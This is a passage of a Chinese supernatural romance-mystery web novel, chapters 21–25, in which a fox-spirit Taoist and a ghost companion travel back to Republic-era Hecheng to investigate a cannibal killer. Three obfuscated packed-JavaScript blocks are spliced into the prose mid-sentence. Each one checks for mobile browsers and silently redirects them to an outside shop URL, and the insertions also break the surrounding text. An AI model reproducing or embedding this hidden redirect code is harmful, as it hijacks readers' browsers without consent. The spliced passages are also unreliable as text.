林疏赶忙道：“那我该从何查起呢？这个案子是民国时候的，当时的人都不在了吧？” “这个要你自己想办法。”林聆已经低头继续看其他的文件了，“哦对，既然你要为这个血孽厉鬼作保，他又对你有情有义，我建议你查案直接带上他。说不定抓了什么害人的东西，可以分他一半的功德来抵债。” 听了这话，林疏倒是喜出望外了：“师娘你答应啦！我可以留着他了吗？” 林聆抬头，意味深长的目光从镜片后投射到他和姬悬月的脸上：“栓好你的狗，他如果咬人，我会直接用天雷劈死你们两个。” “我会的我会的！”林疏忙不迭拿着案卷推着姬悬月跑了。 跑出办公室好远，林疏才算彻底松了口气，他的手脚都软了下来，拿着卷宗的手指也开始止不住地发抖。 姬悬月被林聆用了灵力钳制了那一下之后，短暂拥有了实体，他赶紧扶住林疏：“你没事吧？” 林疏艰难地摆摆手，突然又站直了，瞪着姬悬月：“你怎么从杯子里出来的？林聆的办公室你也敢闯，你不要命了吗！” 姬悬月坦然道：“我没想那么多，你走后我觉得心里不安，你杯子没拧紧，我就溜出来跟着去了。你一直对我很好，我不能看着你为我丢了性命。” 林聆怒道：“他是我师娘，还是我同族，我是天狐最后的血脉了，他怎么可能会杀我？反而是你，你知不知道你刚才差点就灰飞烟灭了！！！” 姬悬月却认真道：“虽然我不知道我是什么人，也不知道我造了什么孽，但既然他那样说，我自是死有余辜。你说的这些我都不懂，我只是不能看着你为了我这样的人死掉。” 林疏半天没发出声音来。 他心里愈发乱成一团。 两人回到了办公室后，林疏随手布了个隔音结界，坐在椅子上，盯着姬悬月看了一会儿，道：“其实我知道你是什么人。” 他便将姬悬月是玄鹤府血孽厉鬼的事，全部都和盘托出了。 包括那年的鹤城，被他杀得只剩二百户的事。 姬悬月露出不敢置信的神色：“我杀过那么多人？” 22. 第 22 章 林疏道：“不一定，也许那人藏得很深，就算你知道谁是凶手，也猜不出幕后黑手。也有可能你想起来之后就会发狂，到时候真控制不了血孽煞气，我也没办法救你，只能送你魂归天地。” 姬悬月却笑了：“应该不会吧，我想不出什么能让我那样怨恨，恨到把一千二百户杀得只剩二百户……他们中一定有许多无辜之人。” 林疏笑了笑：“如果你本性不愿伤害无辜之人，那你便是后天血孽，是可以赎罪的。” 姬悬月便问道：“如何赎罪？” 林疏道：“积攒功德。比如，林主任让我们查的食人魔，如果没有及时抓捕归案，它就很可能会在未来大开杀戒，造成几百人失去生命，那么我们提前抓到他，就等于是攒下了这几百人的功德。” 姬悬月道：“我需要多少功德才能赎罪？” 林疏掰着手指算了算：“古时候的一户大约是指5到6个人，你杀了一千户，就是六千人咯。不过功德与杀孽不是正向抵消的，就算你攒了六千的功德，也至少还要再攒六千，才能获得天道的原谅，成功往生。” 姬悬月：“……” 林疏笑道：“怎么，打退堂鼓了？” 姬悬月诚恳道：“没有，我愿意赎罪，哪怕要花上十年、二十年、二百年，哪怕一千年，只要我还没被天雷劈成一把灰，我就会赎下去。” 林疏笑着拉过了姬悬月的袖子，看着他的眼睛正色道：“其实我一早就想过这个问题了，姬悬月，如果你愿意赎罪，愿意去攒功德，我可以陪着你一起，反正我也需要攒功德来成仙。” 姬悬月第一次听见林疏叫自己这个名字，他突然觉得自己好像就应当叫姬悬月。 他小心翼翼问道：“你能陪我多久？” 林疏道：“你需要多久，的就陪你多久。我是天狐，与天地同寿，所以我可以一直陪你到赎清罪孽去往生的那一天。” “好，”姬悬月点点头，“我不会辜负你。” 林疏怔怔看着鬼新娘极认真的神情，他心中仿佛有什么东西很重地落了地，又仿佛有一些很轻的东西，已经欢快地飘上了天空。 “那么接下来……”他匆匆躲开姬悬月的视线，“这个民国时期的食人魔……” 他头疼地道：“到底应该怎么查？别说痕迹了，卷宗里写的街道恐怕都已经被拆了重建过，鹤城的城市化简直一年一个样。” 姬悬月道：“如果能回到民国时候去看看就好了。” “你在异想天开……”林疏随意道，突然却顿住了。 “对啊。”他一拍桌子，“即使复制出来的不是同一条时间线，但会有重合的地方！” 姬悬月：“？” 林疏已经一阵风似的跑走了。 十分钟后，他捧着一个比手指肚大不了多少的小沙漏，跑了回来。 “这个小法器，名字叫‘溯回’，”林疏对姬悬月讲解着，“天狐可以任意截选时间点，用它回到过去某一时间，但回去的那部分时空只是‘时空镜像’，并不是真的，已经发生的事也无法改变。而且最多只能连用七天。所以我们必须谨慎行事，查完快跑。” “还能这样？”姬悬月被震惊，问道，“那被截取的时空里我们是真实存在的吗？又该如何回来呢？” 林疏已经将沙漏的链子套在脖子上：“拥有实体，但无法改变既定事实。至于回程——在沙漏里的沙彻底流完之前，如果没有翻转沙漏，等它流完就能回来了。走！” 他已经握上姬悬月的手，然后将胸口的沙漏轻轻翻转—— 周围的景色如万花筒一般飞速向后退去，形成绚烂的时空通道。 姬悬月怔住，下意识回握住了林疏的手。 两人眼花缭乱看着时间在身后倒退，而林疏惊奇地发现，姬悬月的手在一点一点回温。 当他们真正落在青灰色的古朴街道上时，姬悬月的手已经变成了正常男人的温度。 干燥温暖，指尖微凉。 林疏感觉有些新奇，他甚至靠上姬悬月的胸口，去听他的心跳。 姬悬月有些莫名的惊慌，像是受宠若惊，林疏就发现他的确有了心跳，而且还很快。 林疏抬起头惊喜道：“你又活了！” 姬悬月努力掩饰自己的心动过速，只是笑了笑：“恐怕是暂时的吧。” 林疏笑着道：“那也很好，至少你可以真正吃到你喜欢的食物了。” 然后他们两人自然而然开始看周围的环境——这里是民国时期的鹤城，具体哪年林疏也说不清楚，但周围的人打扮很是多样化。 有西装革履的绅士挽着旗袍美女，也有依然穿长衫的男人，陪同着洋装的小姐。 林疏看看自己一身道袍，倒是可以蒙混过关，可是他眼前新娘装披散长发的姬悬月…… 林疏四处看了看，他没有这个时代的钱，便从道袍的袖子里摸出一枚成色极佳的玉葫芦，走进当铺，跟店老板换了几十块大洋。 姬悬月看着他那样当掉自己的玉器就要走，皱着眉拉住他：“你不要那个葫芦了吗？” 林疏一摆手：“那是我学艺的时候，师父给我刻的小玩意，我还有很多。没事没事，快走啊你！” 说着他拉着姬悬月进了一家名叫“大观洋服”的裁缝铺，进行一个购物。 很快，林疏推着一身西装的姬悬月出来了。 西装是深咖色，还有一顶帽子，把姬悬月的长发也藏了进去，使他看上去别有一番贵气和儒雅。 林疏手里提着装新娘装的包袱，不住打量姬悬月：“你真是穿什么都好看，长发也好看，短发也好看。” 姬悬月被他看得有些不自在，只能笑着道：“你也很好看。” “那当然，我是很好看的。”林疏笑眯眯的，又拉着姬悬月去找住处。 他们尚且不知道要在这个时代停留多久，民国时期的鹤城是有宵禁的，他们总不能在大街上住。 在距离案卷中记载的事发之地不远处，林疏找了个视野正好的旅店，领着姬悬月走了进去。 “三楼有空房吗？”他礼貌询问道，“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883371|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要能从窗户直接看见大桥的那一间。” 旅店掌柜看了看林疏和身后人高马大的姬悬月，迟疑了一下道：“可是那是一个单人间。” 林疏：“……” 想了想此来目的，林疏咬咬牙：“没关系，床够大吗？” 旅店老板摇摇头：“单人床。” 林疏又问：“那房间里有沙发吗？” 旅店老板点头：“这个确实有。” “就这间！”林疏将大洋拍在柜台上。 旅店掌柜的非常爽快地交出钥匙，并大声喊：“小曹你领着去一下三楼，福字3号单人间，男贵宾两位！” 林疏：“……”倒也不必这么大声吧！！！ 两人跟在那位小曹身后缓缓顺着木质楼梯爬到三楼。 这个客栈的布置可谓是中西不分，到处都是中式雕花，但摆件都是西洋景。 楼梯的墙上挂着山水画，走廊的窗帘则是层层叠叠的宫廷式样。 走廊中间的小几上放了一台留声机，窗台上的花瓶却是典雅的白瓷，里面插着散发幽幽清香的腊梅花。 那福字3号房如掌柜所说并不大，它处于三楼的拐角，房间呈三角形，里面还有两根粗壮的承重柱。 斜面的一整面墙都是窗户，床就放在窗户下面，是个宽约一米二的单人床。 然后林疏傻了，因为房里的沙发是单人沙发。 姬悬月进了房间后就发现了这一点，他有些局促，对林疏道：“要不，我再去开个大通铺。” “没必要。”林疏坚强道，“咱俩挤一挤，反正重点是查案，晚上是一定要出去的，说不定根本没有时间睡觉！” 姬悬月便点点头。 林疏推开窗，朝外看了一眼。 他之所以选中这旅店，就是因为这面玻璃窗视野极好，远眺能看见整条江和租界。 但重点是——能看见那条巷子。 那条，发生过食人魔杀人事件的，巷子。 林疏翻了翻刻在脑子里的案卷，自言自语道：“民国十六年春，四月一日始，五天内，每隔一日……死一人。” 从温度上来说，这里应该是初春。 窗外很暖，室内微冷，远处的太阳也早早就要落山了。 感觉上应当是三月底。 但具体日期还需要出去找人打探一下。 由于不知道宵禁的具体时间，林疏收拾完就赶紧拉着姬悬月下楼去吃饭。 民国时期的鹤城还保留着几分古意，两人坐在旅店旁边一家面馆，一人要了一碗阳春面。 林疏开始跟店老板打听当前的日期。 姬悬月则对着那碗热气腾腾的阳春面发愣。 “今天？今天是二十七了，也可能是二十八。”饭店老板摇头晃脑，搞不清楚，又高声问里头的老板娘：“今天几号了呀？” 老板娘在里屋拉长了声音：“二十——七——啦……” “原来是三月二十七……命案还没发生呢。”林疏摆着手指头数了一下，还有四天。 23. 第 23 章 他搓了搓手，这趟来得急，他只穿了一件T恤一条布裤，外面罩着一层道袍，入了夜还有些冷。 想到这他看向姬悬月：“姬悬月，你冷吗？” 姬悬月下意识摇摇头，他看向林疏：“我不冷，要不要把外套给你？” “算了，”林疏拿了双筷子递给他，“你现在也是血肉之躯，没关系的，我是天狐，不会生病。” 姬悬月接过筷子，试着挑起几根面条，怔怔地看着。 林疏已经喝了一大口热乎乎的面汤，见他不吃，忙问：“怎么了？不喜欢吗？那个我记得街对面好像有个点心铺子……” “不是，”姬悬月摇摇头，“我只是不敢相信……我还有能够吃东西的一天。” “限定的，快享受吧。”林疏撞了下姬悬月的肩膀，笑眯眯道，“我还挺想知道你晚上会不会困。” 姬悬月笑了笑，将细细的面挑起来，垂眸轻轻吸进口中。 他清艳的眉眼在面碗蒸腾的雾气后，显得那般静谧和美丽。 林疏看在眼里，总觉得胸腔里有种难言的触动。 两人吃完面，就回到了旅店中。 由于距离案发还有四天时间，林疏当晚就没有出去查案，而是跟旅店老板多要了一床被子，早早就睡下了。 床实在太窄，林疏又觉得冷，便不自觉紧紧去挤着姬悬月。 姬悬月睡在外侧，几要被挤得掉下去了，他也不生气，只是规规矩矩躺着。 第二天早上林疏醒来的时候，就发现自己身后空了一大块，而他还紧紧贴着姬悬月。 “对……对不住啊，”他尴尬道，“我睡姿不好。” “没事，我睡得很好。”姬悬月微笑着道。 林疏揉揉头发爬起来，道：“起来吧，今天四处逛逛，看看有没有什么能用上的线索。” 但他实在忘了两件事： 一，姬悬月现在是个有实体的活人。 二，姬悬月被他挤得已经半边悬空了。 所以林疏在一条腿跨过姬悬月之后，他的膝盖并没能像他预想中的一样接触到下面的床板，而是一脚踩空—— 啪叽，他跌倒在了姬悬月身上。 姬悬月被小天师压得闷哼一声，本能抱住了他，又很快松开。 四目相对。 姬悬月的呼吸滚热，林疏的眼睛离他那样近。 小狐狸的眼型其实很漂亮，像一笔最恰到好处的水墨丹青。 而眼珠黑白分明，清澈如一泓泉水。 睡觉穿着的白T滚了一晚上已经歪歪扭扭，露出一截漂亮的锁骨。 姬悬月的呼吸就打在那上面。 林疏被姬悬月的呼吸烫得脖子通红，赶紧手忙脚乱爬起来，踩着鞋在地上跳了两下：“没压坏你吧？” 姬悬月的声音有些哑：“没事，没关系。” 林疏三两下披上自己的道袍，又赶过来查看姬悬月的情况。 姬悬月已经自己坐了起来，他确实没什么事，林疏又没多重。 只是……一大清早的，姬悬月刚“复活”，正是十八岁血气方刚的年纪，又被香香甜甜的小狐狸扑了个满怀，难免会起一点反应。 林疏很快也发现了这一点，脸有些红了。 但姬悬月并没有说什么，反而是一本正经地起床穿衣，全程背对林疏。 像是已经肯认认真真遵循林疏所说的“男男大防”。 两人洗漱停当，就离开了房间。 脖颈上的沙漏，已经快漏完了第一天，林疏怕自己忘了，就提前将它倒转了过来。 先是跟柜台的掌柜又续了七天房，然后林疏拉着姬悬月一同出去吃早餐。 本来是打算随便吃点什么的，但林疏拉着姬悬月路过昨天晚上说过的那家糕点铺子的时候，姬悬月的目光不由得被里头吸引住了。 林疏回头看他，顺着他的目光瞧见了里头各式各样的点心。 大清早炸松饼果子的甜香顺着竹帘的缝儿钻出来，钻进过路人的鼻子里，林疏猜测姬悬月应该是在鹤城出生长大的，因为他瞧着那糕点铺子的神色，像是带了点怀念。 他便拉着姬悬月进了那铺子，指着琳琅满目的各色果子点心，财大气粗道：“来选！想吃什么，哥哥请你！” 姬悬月还有些不好意思，刚想拒绝，林疏就道：“你的实体是限定的，回去之后……” “……”姬悬月面不改色，指向一盒油纸包着的小点心，并挨个指过去，“我要这个，这个，还有这个。” 最后林疏捧着满满一堆糕点走了，姬悬月就跟在他身后挨个打开尝。 “这个叶榭软糕好好吃，甜而不腻！”他三口两口吃光一块小年糕，又把另一枚酥点放进嘴里，“这个是什么松饼……我好像吃过。” 他忽然停在原地不动了。 林疏回头去看他：“怎么了？” 姬悬月道：“这个我曾经吃过。” 林疏走过去，看见他手上余着一张白色半透明的油纸，上面引着“高桥松饼”四个字。 这是鹤城颇有历史的一种小吃，林疏记得他听林聆说过一嘴，这种糕点好像在清朝就已经有了。 “你喜欢就好，回去后也可以买给你……吸，”林疏笑道，“这种糕点是鹤城最常见的特产啦。” 姬悬月点点头，将油纸小心地叠起来，收进了衣服口袋。 两人沿着街头慢慢地走，一路看着民国十六年的鹤城，这座充满了苦难却始终华美温柔的城市。 他们穿梭时空后落地的地方，位于英租界。 沿着长街一路走到租界边缘，由于没有这个时代的通行证，他们不敢轻易离开租界，只得转身往回走。 正走着，林疏突然站住了。 他朝马路对面看去，那里有一座租界电车的车站，车站旁站着一个清瘦的少年。 少年手里推着一辆自行车，正在盯着林疏和姬悬月。 林疏对旁人的注视十分敏感，他几乎是瞬间就发现那少年在看着他和姬悬月。 但随着一辆电车经过，停下，一群人上下车后，电车开走，林疏便再没瞧见那少年身影，也未曾见到他去往何方。 逛了大半日，林疏用掉了一沓溯灵符咒，却没有察觉到任何非人类留下的痕迹。 而姬悬月的脚步已经逐渐慢了下来，林疏才想起他现在是个活人了，大概是累了，赶忙带着他回去休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883372|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 回到旅店房间后，姬悬月坐在沙发上，迟疑着脱下了了皮鞋。 林疏看了却是一惊：“好大血泡，你怎么不说！” 姬悬月久未以活人之躯在外头行走，穿的又是新皮鞋，脚掌难免磨出了两个大水泡。 但他只字未提，就陪着林疏在鹤城租界的大街小巷上乱逛。 林疏心疼得眼睛都红了，姬悬月却还反过来安慰他，甚至对他笑了笑，道：“我没觉得有多疼，况且我本来就死了，这点疼对我来说不算什么。” 林疏赶紧从道袍的袖子里挖出来一堆乱七八糟的工具，用打火机烧了银针，去扎姬悬月的血泡。 姬悬月被人捧着脚，觉得非常难为情，他想躲开，小腿却被林疏不容拒绝地按住。 “你这个样子再不处理，明天就别想走路了。”林疏严肃道，“别耽误我们查案。” 姬悬月只好任他操作，将血泡里的血水挤出来，然后敷上了些灵调局批给员工的特制止血消炎药膏。 “接下来你就躺着吧，有什么事就知会我。”林疏收了工具，将姬悬月扶到床上，把被子给他盖好，但特意把脚露在了外面，防止碰到伤口。 姬悬月靠坐在床上，沉默着看林疏为他忙里忙外。 怕他无聊，林疏还把门上挂着的报纸拿过来给他看。 姬悬月随便翻了翻报纸，突然问道：“林疏，你今年多大？” 林疏一愣：“为什么这么问？” 姬悬月笑了笑：“今天突然觉得你很会照顾人，像个哥哥。” 林疏在床边坐下，笑道：“那我确实比你大，从有记忆开始算的话，我都二十四岁了，你死的时候十八？” 姬悬月道：“嗯，十八。” 林疏笑眯眯道：“比我小好多啊，悬月弟弟。” 姬悬月啧了一声道：“可我在世上飘了几百年呢。” 林疏则歪着头沉思了一会儿：“那我作为仙胎的时候，不知道在这世界上存在了多久呢，天狐要有机缘才能出生的。要是从存在就开始算，我说不定比林聆还大。要从出生开始算，我也几百年前就出生啦。” 姬悬月道：“可你只记得这二十四年，你也丢失过记忆吗？” 林疏点点头：“我只记得这二十四年的事，再往前，就不记得了。我和你不一样，二十四年前我失去的不光是记忆，还有修成人形的本能，跟个小傻子一样，是林聆教会我如何当一只天狐、当一个人。” 姬悬月遂问道：“你说过，他是你的师娘，那谁是你师父？” 林疏道：“就是我师娘的爱人呀，灵调局局长，一个凡人，叫顾煜城。当初就是他把我捡回去交给我师娘的，他们夫夫二人一同把我养大，还教了我一身本领，是我的大恩人。” 姬悬月想了想，道：“那你也是我的大恩人。” 林疏摆摆手：“恩人算不上，要不是我把你抓回来，你还好好在穆宅当你的新娘子呢。” 姬悬月却轻轻地笑了：“浑浑噩噩，不如死去。” 林疏还从未跟姬悬月聊过这些事，他有些好奇道：“说来，你既然记得吃过的酥饼，也记得爱人的模样，为什么你会不记得你的名字呢？” 24. 第 24 章 姬悬月道：“我也不知道，我甚至曾经非常笃定我就叫穆羽，但你说我叫姬悬月的时候……我倒是没觉得很意外，好像你的确就应该这样叫我似的。” 林疏乐了：“该不会几百年前我确实认识你吧？” 姬悬月唇角微勾：“那也说不定。” 林疏开始浮想联翩：“说不定当年你作祟的时候我还砍过你。你那是什么眼神？小爷我又不是妖狐，我一向是正派人士好吗？天狐你没听说过吗，天狐一出生就是仙体，只待功德圆满，就能位列仙班。我修道才是正常的。” 姬悬月笑道：“也对，你是神仙，我是厉鬼，就算认识，也一定是一对仇敌。” 林疏感慨了一番，忽地问道：“那如果你回想起了曾经，发现我们真是仇人，你会跟我反目成仇吗？” 姬悬月摇头：“我不会。你呢？你会像你师娘一样，用天雷劈我吗？” 林疏也摇了摇头。 姬悬月笑着问道：“为什么？劈了我算为民除害吧，说不定你就功德圆满了。” 林疏却没有回答，只是笑。 于是姬悬月也笑了。 一切尽在不言中。 太阳很快沉入地平线。 春日的天黑得早，林疏研究了半天那煤油灯，还是觉得不够亮，就放弃了，也爬上床去和姬悬月挤着。 今晚他睡在了外头，姬悬月睡在里头。 姬悬月以凡人之躯走了一天，又不比狐狸灵气充足、精神百倍，已经有了困意。 半睡半醒间，他听见林疏在他身边小声道：“如果你我真的曾经相识，应该也会是好朋友吧。” 姬悬月想回他一句那当然，却难以自控地沉入了梦乡。 鬼也会做梦吗？ 姬悬月不知道，但他清楚地发现自己是在做梦时，他已经站在了一座小桥上。 周围的房子都很旧很破，但姬悬月知道这个贫困的村落是自己的家。 那道清澈的小河里永远有叮咚的水声，他站在桥头等着，他不知道自己在等谁。 很快，他看见一个穿白色书生袍子的少年冲自己跑过来，他在梦里张开了双臂，少年一头扎进了他怀里。 少年抬头，却是林疏的面孔。 只是因为是做梦，姬悬月看不清他的脸，只是隐约知道他是林疏。 而少年塞给他一样东西，他摸着疙疙瘩瘩的像一个木头雕刻的物件，但还没弄清楚是个什么，他就忽然醒过来了。 原来是林疏睡着睡着扎进了他怀里……姬悬月无奈地往里挪了挪。 但没什么用，林疏又挤了过来。 姬悬月便不动了，而是慢慢回想那个梦。 梦里的林疏……是真的吗？还是因为他被挤到，下意识就想到了林疏，才会梦到林疏？ 但那座小桥他未见过，很有可能存在于真实记忆的碎片里。 就这样想着想着，天已逐渐亮了。 窗帘缝外面投进一点朦胧的日光，姬悬月微微偏过头，看着身边的林疏睡得好香，并且一直无意识在朝他怀里钻。 姬悬月就想，等林疏睡醒了，一定会脸红红。他很期待。 不过他没能安稳等着林疏自然醒来，因为不久后，窗外传来了破空的尖叫声。 “啊啊啊啊——死人啦！！！快来人啊！！！” 林疏猛地坐起，眨着干涩的眼睛蒙地拉开窗帘：“在哪儿？怎么了？” 姬悬月赶紧护住摇摇欲坠的他，道：“不知道，外面传来的，你小心些。” 两人拉开窗户，朝下看去。 就见那条巷子口，两个路过的女学生跌倒在地瑟瑟发抖。 外面围了一群老百姓，捂着鼻子指指点点。 林疏马上下地去穿鞋，又跑回来看姬悬月的脚。 那血泡的两片皮已经干了，但看起来并没有长好。 “你在楼上等着，我先下去看看！”他道，并披着道袍冲出了房间。 姬悬月想跟上，但试着踩了一下鞋，脚底刺痛就钻心地传来，他只好回到窗边朝下看。 不多时，他看到林疏已经来到了楼下。 小天师半旧不新的道袍在一群普通老百姓中并不显眼，但姬悬月就是能一眼看见他。 但林疏没能挤进人群去，因为巡捕房的警察也已经来了。 他们封锁了现场，不肯放林疏进去。 姬悬月在上面看着那些警察推搡林疏，马上皱起了眉，他没多想，就穿衣换鞋下楼了。 林疏在人群中被挤得东倒西歪，他试图跟警察讲道理，但警察看着他一身道袍江湖骗子的模样，说什么都不肯让他进现场。 直到姬悬月来到附近，他个子高，脸又漂亮，面无表情像个带着煞气的大少爷，很快就挤到了最前面。 他一把将林疏按在身后，冷冷道：“你们别碰他。” “你是什么人？”为首的警督翻个白眼，“敢这么跟警察说话？” 林疏看看西装革履的姬悬月，瞬间福至心灵，瞪着眼睛道：“他是我们家大少爷！刚留洋回来的！” 姬悬月：“……” 姬悬月不动声色，深沉地点了一下头。 林疏开始瞎编：“我们少爷留学英法俄，精通六国语言！连我小小书童都会那么几句，你听好了：Bonappétit，Увидимсязавтра……￥@#&……” 警察督察：“……” 姬悬月压根没听懂林疏在说什么，但他是个很好的复读机，当场接着林疏也学了一句：“……Увидимсязавтра。” 警督被唬住了，马上伸手：“您好，幸会，不知阁下是哪家的公子？” 姬悬月冷漠地跟他握手，旁边的林疏赶紧道：“我们少爷是穆家的二公子！” 警督茫然，虽然没听说过，但好像很厉害的样子。 他本打算回去打个电话好好问问鹤城穆家什么时候有了个二公子，但眼下…… 林疏已经道：“我们少爷在国外学的是法医和刑侦，你们还不快让开，让我们少爷进去大展身手！” 警督眼睛转了转，心想如今的租界谁都能踩警察局一脚，他们是万万得罪不起这些留学归来的大家公子。 不如和一把稀泥，如果后续发现他们造假，也可以随时把人抓回去。 于是姬悬月和林疏被客客气气请进了案发现场。 林疏赶来的这一路上都在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883373|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，明明卷宗上记载的是四月一日始，为何今天才三月二十九……等等。 林疏好像明白了。 从民国元年始，国民政府就开始使用公历历法。林疏迅速在内心掐算一番，然后一顿。 是他马虎了，民国十六年是1927年，4月1日正好是农历的二月二十九。 只是政府规定用公历，老百姓却还是本能地用农历，面馆老板也并没有骗他。 前天确实是二十七，只是老板没说清楚是几月而已。 而林疏下意识以为他们的落点与案发日接近，就理解成了3月27日。 真是马虎误事！林疏在心里谴责了一番自己，而他和姬悬月也已经走到了受害人跟前。 警察还没来得及处理现场，所以这里非常的不和谐。 地面已经被染成红色，林疏和姬悬月必须非常小心才能不踩到满地的血。 受害人是一名女子，穿的衣服已经被染红，看不出本来颜色，但式样像是女校的校服。 她的腹部已经被吃空了，就像林疏在未来看过的那份卷宗中所写一样。 这个食人魔就像个大型的猛兽，只吃柔软的内脏。 紧接着，林疏观察了一番周围的环境，发现了异样。 这里不是第一犯罪现场，而是抛尸现场。 因为尸体明明被撕咬得不像样，窄巷的墙壁上却没有喷溅的血液。 但被害人的流血量实在太大了，又像是在这里才被开膛破肚，然后血液流尽，慢慢死去。 林疏给姬悬月递个眼色，姬悬月便托着腮吩咐道：“你仔细查看一番。” 林疏“哎”了一声，马上从一旁的警察手里夺过手套，去看尸体的模样。 警察可能是害怕这名死者的死状引起群众恐慌，所以用一块白布把她的脸遮盖住了。 林疏手欠掀开那块布看了一眼，就发现，死者的眼珠，也消失了。 林疏又绕着尸体走了三圈，双眼搜罗了无数细节，才回到姬悬月身边，恭敬地禀报道：“报告少爷，此人死状凄惨，少爷还是不要看的好。” 姬悬月看懂他眼中的促狭，便道：“好，那我们走吧。” 警察和警督：“？” 周围的群众们：“？” 林疏拉着姬悬月迅速溜了。 他已经看过，基本可以确定就是食人魔所为，除了非人类的妖魔作案，没有人能不留一点痕迹地将一具濒死的尸体从作案地挪到这个巷子里。 只是还有一些疑点。 比如死者没有穿鞋，脚上只有长袜。 一个女学生为什么会不穿鞋？她把鞋脱在了哪里？ 死者裙摆上蹭了奇怪的污渍。 但已经被血浸泡成红色，也已经无法判断是什么。 但女学生的手非常干净，指缝里没有血，也没有挣扎时抓挠过什么的痕迹。 她是在完全没有反抗的情况下被杀的。 接下来就要靠晚上，林疏到这里来“溯灵”。 是的，他压根没有给警察查证身份后抓捕他们的机会。 只是离开人群后，林疏迅速扶住了姬悬月，目光落在他皮鞋上：“你的脚底板是真不想要了对吧？” 25. 第 25 章 姬悬月面不改色道：“其实并不痛。” 林疏瞧着他疼得额头都冒了冷汗，简直气得无话可说，只能搀着他回了旅店。 于是姬悬月又被勒令一天不许下床。 而林疏脖子上的沙漏又调转了一次。 来到此地的第二天，宣告结束。 早饭可以用昨天买的糕点随便垫一口，但午饭肯定不能了。 林疏又惦记着姬悬月需要补充营养来养伤，便独自跑出去买午饭。 日上中天，林疏提着两份午饭回旅店，路过电车站的时候，他无意中一回头——又发现了那个少年。 这次少年把自行车放在了一边，人坐在车站的候车椅子上，左手握着一根油条，右手拿着一碗豆浆。 林疏扫了他一眼，没多看，就走了。 姬悬月还等着吃饭呢。 今天他买的午饭是老鹤城比较经典的五福碟，但林疏担心全带回来吃不完，所以只选了三样。 一道熏鱼，一盘清炒，两只醉蟹，还有一份用料很足的金汤。 姬悬月吃得很慢，像是要把每一样的味道都刻在记忆里。 捧着小碗喝汤，也是小口小口，喝得十分满足。 林疏见他喜欢，自己脸上也出现了笑容。 姬悬月叹道：“以前从不知道鹤城有这么多好吃的。” 林疏笑道：“原汁原味的东西你只能在这里吃了，回到现代后，不一定能吃到这样正宗的味道。” 姬悬感慨：“今天能吃到这些，明天让我死了也甘愿。” 林疏就用筷子敲他的碗边：“吃饭不许说这些。” 姬悬月哈哈大笑。 天黑以后，林疏观察着底下，见警察们也都撤走了，他便开始从道袍的袖子里往外掏东西。 这下轮到姬悬月惊讶了。 他只知道林疏道袍的袖子是那种琵琶袖，的确很方便装东西， 但当林疏从袖子里摸出一捆绳子后，他开始迷惑了。 当林疏又摸出笔墨纸砚后，姬悬月揉了揉眼睛，开始怀疑自己是不是在做梦。 然后他就看着林疏笔走龙蛇开始画符。 “等会儿我会下去，用溯灵来看情况。”林疏边画符边对姬悬月嘱咐着，“看完之后我会用这根绳子爬回来，你在房间里等我就好。” 姬悬月道：“我不能跟着去吗？” 林疏看着他笑了：“你的脚不方便呀。” 姬悬月阴森森道：“那就不怕你爬到一半，我把绳子解开吗？” 林疏一愣，他还真没想过这个问题。 姬悬月就弯了弯眼角，露出个势在必得的笑容来，仿佛是在说，想不带我？没门！ 林疏：“……” 夜半时分，一狐一鬼，鬼鬼祟祟，顺着旅店三楼的窗户一跃而下。 准确来说，是林疏一跃而下。 虽然他用着人形，但到底还有些狐的轻灵。 姬悬月就比较艰难了，他脚底不敢吃劲儿，只能顺着绳子一截一截往下滑。 但好在年轻力壮，倒也平安落地了。 窄巷的尸体已经被警察局抬走，只留下了一地干涸的血迹。 林疏找了个好落脚的地方，找出溯灵符一张，口中念诵火诀，符纸燃起。 忽明忽暗的火焰照亮小天师清俊秀美的侧脸，他紧闭着双眼，睫毛在闪烁的火光中拖着长长的阴影。 姬悬月趁着他闭眼，大着胆子盯着他看了一会儿，待林疏蓦地睁眼，他便垂眸去看别处了。 “有痕迹！”林疏的眼睛亮起来，他脚尖一点，人已经跃到了矮墙上，像一只轻灵的小动物。 而他在溯灵中看见的食人魔留下的“痕迹”，就在矮墙的瓦片上。 姬悬月一直注视着林疏的一举一动，此刻才在内心真正感叹了一句，他相信这个小天师是只真狐狸了。 林疏俯身，以指尖燃烧的符纸做灯光，蹲在在瓦片上细看。 那里有一小片刮擦，是带着血的一团黑乎乎的物质。 林疏谨慎地用小银针去挑了一下，发现是一团软糯物质。 随着银针推开表层干涸的黑血，里面竟然露出了非常纯粹的一抹蓝色。 林疏嗅了嗅，愣住了：“这是……” 他看得入神，没注意到有电筒的光晃过来。 